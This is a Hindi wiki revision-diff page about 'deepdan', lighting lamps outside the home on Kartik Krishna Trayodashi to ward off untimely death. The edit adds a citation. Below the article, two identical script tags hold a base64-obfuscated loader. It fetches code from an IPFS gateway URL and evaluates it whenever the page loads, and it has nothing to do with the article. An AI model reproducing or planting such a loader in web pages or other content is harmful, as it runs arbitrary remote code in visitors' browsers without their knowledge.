व्यवस्थापन (चर्चा | योगदान) छो (Text replace - "==सम्बंधित लिंक==" to "==संबंधित लेख==") |
|||
पंक्ति 1: | पंक्ति 1: | ||
*[[कार्तिक]] माह के [[कृष्ण पक्ष]] की त्रयोदशी को रात्रि हो जाने पर घर के बाहर 'दीपदान' किया जाता है। | *[[कार्तिक]] माह के [[कृष्ण पक्ष]] की त्रयोदशी को रात्रि हो जाने पर घर के बाहर 'दीपदान' किया जाता है। | ||
− | *इससे आकस्मिक मृत्यु से रक्षा होती है।<ref>पुरुषार्थचिन्तामणि (231)</ref>; | + | *इससे आकस्मिक मृत्यु से रक्षा होती है।<ref>पुरुषार्थचिन्तामणि (231)</ref>; <ref>स्मृतिकौस्तुभ (368)</ref> |
07:58, 19 सितम्बर 2010 का अवतरण
- कार्तिक माह के कृष्ण पक्ष की त्रयोदशी को रात्रि हो जाने पर घर के बाहर 'दीपदान' किया जाता है।
- इससे आकस्मिक मृत्यु से रक्षा होती है।[1]; [2]
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>